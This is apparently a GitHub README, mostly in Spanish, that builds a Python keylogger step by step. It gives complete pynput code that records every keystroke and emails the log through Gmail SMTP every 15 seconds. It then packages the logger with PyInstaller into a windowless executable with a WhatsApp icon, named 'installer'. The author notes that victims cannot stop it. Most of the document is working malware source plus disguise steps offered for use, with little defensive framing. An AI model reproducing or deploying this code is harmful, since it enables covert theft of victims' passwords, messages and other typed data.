/Keylogger-en-Python-Lab

Keylogger that steals and captures keyboard keys and sends them by mail (for english please translate the page)

Primary LanguagePythonGNU General Public License v3.0GPL-3.0

--> TARGET --->> PARROT OS

  • Requerimientos : Instalar pynput
pip install pynput

Importante: reinicia tu editor de codigo despues de instalar pynput.

HackMode > ON!

from pynput.keyboard import Listener

def capturar_teclas(key):
    print(key)
    
with Listener(on_press=capturar_teclas) as l:
    l.join()

EMPEZAMOS A CAPTURAR

  • Empezamos a capturar las teclas de nuestra target.

Guardamos todo en un documento '.txt'.

from pynput.keyboard import Listener
import datetime

d = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")

file = open('keylogger-{}.txt'.format(d),'w')

        
def capturar_teclas(key):
    
    key = str(key)
    if key == 'Key.enter':
        file.write("\n")
    elif key == 'Key.space':
        file.write(" ")
    elif key == 'Key.backspace':
        file.write('%BORRAR%')
    else:
        file.write(key.replace("'",""))
    print(key)

with Listener(on_press=capturar_teclas) as l:
    l.join()

guradar txt

  • El documento .txt esta creado, incluso implementamos un segundo .txt con fechas y hora , diario.

Envio de correo con Gmail.com

HackMode TIP! : a partir de 30 de mayo del 2022 gmail bloquea todas las apps noseguras.

  • PARA ESO : en tu cuenta de google debes Permitir el acceso de aplicaciones menos seguras: en 'SÍ'

gmail no seguras

from http import server
import smtplib

mensaje = "Subject:Correo desde Target1 \nHola desde email.py"

server_smtp = smtplib.SMTP("smtp.gmail.com",587)

server_smtp.starttls()

server_smtp.login("deniseduranbybit@gmail.com","password")

server_smtp.sendmail("deniseduranbybit@gmail.com","deniseduranbybit@gmail.com", mensaje)

server_smtp.quit()

print("Correo enviando correctamente")

envio de correo parrot

  • El correo usado es un nombre al azar, usado como exemplo)

  • Recibimos el correo desde nuestras !Targets!

corre envio ubuntu

Desarollo de Keylogger: Implementamos > Metodos Clases Funciones (Preparamiento)

import pynput
import threading
import smtplib

log = ""

class Keylogger:

   def __init__(self,intervalo,email,password):
       pass

   def append_to_log(self,string):
       pass

   def capturar_teclas(self,key):
       pass

   def reporte(self):
       pass

   def enviar_email(self,email,password.mensaje):
       pass

   def start(self):
       pass
       

preparamiento

Desarollo de Keylogger: Implementamos append, teclas, reporte.

import pynput
import threading
import smtplib

log = ""

class Keylogger:

   def __init__(self,intervalo,email,password):
       self.log = "Keylogger iniciado!"
       self.intervalo = intervalo
       self.email = email
       self.password = password

   def append_to_log(self,string):
       self.log = self.log + string


   def capturar_teclas(self,key):
       try:
          current_key = str(key.char)
       except AttributeError:
           if key == key.space:
               current_key = " "
           else:
               current_key = " " + str(key) + " "
       self.append_to_log(current_key)


   def reporte(self):
       pass

   def enviar_email(self,email,password.mensaje):
       pass

   def start(self):
       pass

apppend to log

Desarollo de Keylogger: Implementamos email, reporte.

import pynput
import threading
import smtplib

log = ""

class Keylogger:

    def __init__(self,intervalo,email,password):
        self.log = "Keylogger iniciado!"
        self.intervalo = intervalo
        self.email = email
        self.password = password

    def append_to_log(self,string):
        self.log = self.log + string


    def capturar_teclas(self,key):
        try:
           current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)


    def reporte(self):
        self.enviar_email(self.email,self.password,"\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.intervalo,self.reporte)
        timer.start()
        

    def enviar_email(self,email,password,mensaje):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,mensaje)
        server.quit()


    def start(self):
        pass
        

email y reporte

Retoque Final; Keylogger en Action!

import pynput
import threading
import smtplib

from pynput import keyboard

log = ""

class Keylogger:

    def __init__(self,intervalo,email,password):
        self.log = "Keylogger iniciado!"
        self.intervalo = intervalo
        self.email = email
        self.password = password

    def append_to_log(self,string):
        self.log = self.log + string


    def capturar_teclas(self,key):
        try:
           current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)


    def reporte(self):
        self.enviar_email(self.email,self.password,"\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.intervalo,self.reporte)
        timer.start()
        

    def enviar_email(self,email,password,mensaje):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,mensaje)
        server.quit()


    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.capturar_teclas)
        with keyboard_listener:
            self.reporte()
            keyboard_listener.join()
            

keylogger en ACTION

Creamos un log.py que es nuestro (Listener) nuestro audifono! (el keylogger se encuentra corriendo en nuestro !Target!

import Keylogger as KG

log = KG.Keylogger(15,"deniseduranbybit@gmail.com","password")
log.start()
  • 15 : son segundos ( cada 15 segundos recibimos la captura de las teclas,)

kg

  • Corriendo!

Correos llegando cada 15 sec

iniciado

hola como estas vacio

  • Si lo seteamos a 15 seg cada 15 seg recibimos el email.

IMPORTANTE: El keylogger lo paramos mediante CTRL+C en el terminal nuestro, pero en la maquina dela victima por ex: NO SE PUEDE PARAR!

Keylogger '.exe

* pip install pynput (Importante: necesitamos pynput 1.6.8)
  • Comprueba tu version:
pip freeze
  • Instalar 1.6.8
pip install pynput==1.6.8

Tambien se necesita pyinstaller

pip install pyinstaller

Creamos el ejecutable .Exe

pyinstaller --onefile -windowed --noconsole -i=whatsapp.ico log.py --name installer

adm de tareas

Captura de pantalla de 2022-03-21 15-24-00

corre envio ubuntu

Captura de pantalla de 2022-03-21 15-24-22

Captura de pantalla de 2022-03-21 15-24-33

Typing SVG

If this project help you reduce time to develop, you can give me a cup of coffee :)

ko-fi

Buy Me A Coffee